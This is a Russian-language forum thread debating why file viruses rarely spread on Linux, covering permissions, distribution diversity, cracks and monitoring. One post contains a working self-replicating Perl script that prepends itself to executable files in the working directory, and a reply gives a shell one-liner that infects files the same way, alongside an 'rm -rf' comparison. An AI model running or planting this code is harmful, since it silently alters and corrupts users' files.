Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?
Камрад!
А ты-то зачем мыло съел???
Это ж безумно интересно - давай выкладывай!
Ну чего, теперь тебя уговаривать?!!
Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?
Камрад!
А ты-то зачем мыло съел???
Это ж безумно интересно - давай выкладывай!
Ну чего, теперь тебя уговаривать?!!
Например, "пользователь обыкновенный"
репутации у вас нет - плюсануть не получится. потому просто +500 :)
Под вирусом почему-то в последнее время подразумевают любое вредоносное ПО вообще.
Мне кажется, в этой теме тоже.
это не относится ко мне. и в этой теме тоже.
Если бы была, я бы сказал - "Запускайте только с правами рута".
Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?
зачем сразу с правами рута? что мешает заражать программы пользователя в огороженном загоне? я вовсе не подбиваю вас на:
Создание и распространение вредоносных программ (в том числе вирусов) преследуется в России согласно Уголовному Кодексу РФ (глава 28, статья 273).
но выложить саморазмножающуюся программу без вредоносных функций вполне можно
(ну предупредите на всякий: на боевых серверах с правами рута не запускать, хотя... ССЗБ).
Если программа просто размножается, и при этом не пытается ничего портить, и не повышает свои привилегии, она никак не попадает под статью.
#!/usr/bin/perl
open(I,$0); $sign = <I>;
while ($filename = glob("./*")) {
if (-f $filename && -x $filename && -w $filename && open(FILE, $filename) && <FILE> eq $sign) {
@strings = <FILE>;
@virstr[0..10] = <I>;
open(FILE,">$filename");
print FILE $sign;
print FILE @virstr;
print FILE @strings;
};
};
Копирует себя в начало всех файлов в рабочем каталоге, которые начинаются с той же строчки, что и сам.
Не буду говорить, что это только для ваших учебных целей.
Копирует себя в начало всех файлов в рабочем каталоге, которые начинаются с той же строчки, что и сам.
Не буду говорить, что это только для ваших учебных целей.
так и знал - поиск привинтили :(
это конечно круто, но чем это отличается от rm -rf /.string* или скажем
file: virus.sh
#!/bin/sh
find . -type f -name "string*" -exec cat ./virus.sh '{}' >/tmp/123 && mv /tmp/123 '{}' \;тоже "заражает, и дописывает себя в начало каждого файла", только тут одна строчка shell, не считая sha-bang.
На sed несложно реализовать и работоспособность приложений, и даже скрытность. Но нерешёнными остаются практически все вопросы, которые я поставил в самом начале темы:
1) путь заражения: как попадает вирус на компьютер? в большинстве случаев через кряк. Антивирусы эффективны лишь на 19%, а против новых и старых полиморфных - бессильны, и потому не в состоянии остановить заражение. А как вы думаете, зачем пишут кряки? От любви к искусству? Вы отстали от времени лет на 15 - это бизнес. А в Linux'е кряков нет. И фотошопа нет, и кряка к нему нет тоже...
2) возможность заражения: в Windows файлы ни принадлежат никому, т.е. принадлежат всем - у них нет хозяина. А ещё у них нет прав. Точнее есть - сразу все и для всех. В Linux все системные файлы принадлежат руту, и юзер их не в состоянии изменить. Кроме того, в Linux очень неудобно работать с правами рута, в венде - с точностью наоборот.
3) невозможность скрыться: в linux изначально присутствуют доступные утилиты мониторинга. Это не венда, с невнятным svchost или fdjjs534mdf.sys - каждый процесс имеет свою легко находимую точку старта, и даже если юзер сомневается, он всегда может набрать man fdjjs534mdf.sys, и узнать всё необходимое (и/или погуглить). Кроме того, нет реестра, с его многочисленными (десятки их, если не сотни) точками старта.
4) разные дистрибутивы: универсальный вирус подо все дистры написать практически невозможно, а спец-вирус например для убунты никогда не наберёт критической для эпидемии массы (даже если все 100% компов будут под Linux'ом. Но ведь уж точно не 100% будут под убунтой. Сомневаюсь, что хоть 20%).
5) форма передачи. вирус должен очень плотно взаимодействовать с системой, надеюсь это понятно. Но как мы будем распространять наш вирус? бинарником? не пойдёт - ядро-то у всех разное, что уж говорить про ПО. В виде исходников? Ага, юзеры совсем идиоты? В виде пакетов? см. п4.
вы предложили решение разве что для п5, но ваше решение противоречит п3 - юзер заглянет в ваш скрипт, а если не поймёт, то и не запустит. Возможно это решает п4, но лишь для тех юзеров, которые одновременно:
я сомневаюсь, что таких много.
п1, п2, и п3 так и остались нераскрытыми...
п1, п2, и п3 так и остались нераскрытыми...
Элементарно - официальные пакеты с репозитория, подвергнутые "обработке" или с неофициальных репозиториев.
По крайней мере удалить все файлы из рабочего каталога - очень диструктивная функция.
Я уже неоднократно говорил что файловые вирусы невыгодны для linux. Гораздо мощнее будут сетевые черви, атакующие root-процессы и трояны в пакетах, требующие root-привелегий.
п1, п2, и п3 так и остались нераскрытыми...
Гораздо мощнее будут сетевые черви, атакующие root-процессы и трояны в пакетах, требующие root-привелегий.
примерчик можно? или Вы начитались статей про червь(вирус) Морриса?
А вы сомневаетесь, что червь, получив root-привилегии может повалить систему?
http://ru.wikipedia.org/wiki/Вредоносные_программы_для_Unix-подобных_систем
И пожалуйста, не стройте из себя незнайку.
AndreyMust19
Из Вашей же ссылке, как отче наш до посинения читаем:
сама возможность массового заражения и распространения маловероятна, и ни один из вирусов, написанных для Linux (включая перечисленные ниже), никогда не размножался успешно на большом количестве машин. Кроме того, уязвимости в безопасности, которые эксплуатируются вирусами, были установлены и исправлены вскоре после (или прежде) того, как использовавшие их вирусы начали распространяться. Таким образом вирусы не несут в себе большой угрозы, если система обновляется регулярно.
А вы сомневаетесь, что червь, получив root-привилегии может повалить систему?
Сомневаюсь, даже больше могу добавить- получить доступ могут всё, даже 3х летний ребёнок путём битья по клавиатуре и угадав пароль и потом тем же методом свалив систему. Тут главное стоит учесть, а получит ли червь права рута? :rolleyes:
По своему примеру скажу- Linux использую уже 4 года, фаервол выключен по умолчанию, антивирусное ПО вообще отсутствует. Не разу ещё система не падала по вине ВИРУСА, только по своей по воли моей фантазии и издевательств над ней, причём в большинстве случаев, всё просто восстанавливалось. С таким же успехом, на Виндовс, при настроеном фаерволе, при Ноде или Каспере (обновляющимся регулярно!!) систему валил какой нить Парит или ещё ВинЧих, несколько раз в месяц.
Вирусы на ЛИНУКС ау, вы где?? Может вам мой IP дать, ну а порты все открыты ВЕЛКОМ. :lol:
Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?
выкладывай, я не против... :D
у меня есть образ раздела с ОС, так что переустановить его - дело двух минут.
готов рискнуть! :D
Да и изучить можно wink.
А вы сомневаетесь, что червь, получив root-привилегии может повалить систему?
И пожалуйста, не стройте из себя незнайку.
Еще раз повторюсь - пример в студию! И пожалуйста, не стройте из себя знайку
AndreyMust19
Из Вашей же ссылке, как отче наш до посинения читаем:
Если уж цитируете, то цитируйте без отрыва от контекста:
Из-за большой ограниченности, а также по причине многообразия дистрибутивов и относительно низкой распространённости самой ОС на компьютерах в мире, сама возможность массового заражения и распространения маловероятна...
[quote=step_slim]AndreyMust19
Из Вашей же ссылке, как отче наш до посинения читаем:
Если уж цитируете, то цитируйте без отрыва от контекста:
Из-за большой ограниченности, а также по причине многообразия дистрибутивов и относительно низкой распространённости самой ОС на компьютерах в мире, сама возможность массового заражения и распространения маловероятна...[/quote]
"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?
Какая разница? Количество серверов по сравнению с клиентскими машинками все равно очень мало.
Iskan Der
Если уж я цитирую, то я расставляю акценты, а не дублирую всё как попугай. Текст делится на введение, основную часть и заключение, я выбрал главную часть и её процитировал.
"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?
Соглашусь с Германом, может пересчитаем сколько у кого серверов, как бе обоснуйте под тем что цитируете, уважаемый Iskan Der.
[quote=Hvzh]"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?
Какая разница? Количество серверов по сравнению с клиентскими машинками все равно очень мало.[/quote]
То есть, Вы хотите сказать, что вирусоделы прежде всего опираются на количество клиентских машин?
Если уж я цитирую, то я расставляю акценты, а не дублирую всё как попугай
Только такое выборочное цитирование искажает смысл исходного утверждения, что не есть правильно, на мой взгляд.
То есть, Вы хотите сказать, что вирусоделы прежде всего опираются на количество клиентских машин?
Разумеется. На серверах совершенно другой уровень требований к безопасности и, соотвественно, мер по ее обеспечению. Что касается клиентских машин, то:
1. их гораздо больше (т.е. больше целевая аудитория)
2. уровень их защиты значительно ниже (иногда вообще никакой)
3. квалификация обслуживающего персонала (т.е. пользователей) тоже не намного выше плинтуса.
Одним словом, заразить такие машины значительно легче, а большое их число позволяет обеспечить достаточную массовость заражения.
Iskan Der,
На Ваш взглад вирус (или червь) - это просто поделки начинающих программеров или законченных программистов? (это я к тому кто и зачем их пишет)
Iskan Der,
На Ваш взглад вирус (или червь) - это просто поделки начинающих программеров или законченных программистов? (это я к тому кто и зачем их пишет)
Вирус вирусу рознь. Есть и тупые поделки начинающих, но много о себе возомнивших кулхацкеров, попадаются и вполне профессиональные изделия.
Если червь не рушит систему, значит это его собственная смерть.
Можно хоть весь жесткий диск отформатировать или удалить документы. Но тем самым гадость проявит себя и ее смерть незамедлительна.
Поэтому все вредоносы-долгожители стараются не проявлять себя и оставлять следов. Но это не значит что они не могут нарушить работоспособность системы.
Гораздо выгоднее получить управление через систему удаленного администрирования, зомбировать или расслылать спам.
И еще. Безопасность - не значит "отсутствие опасности".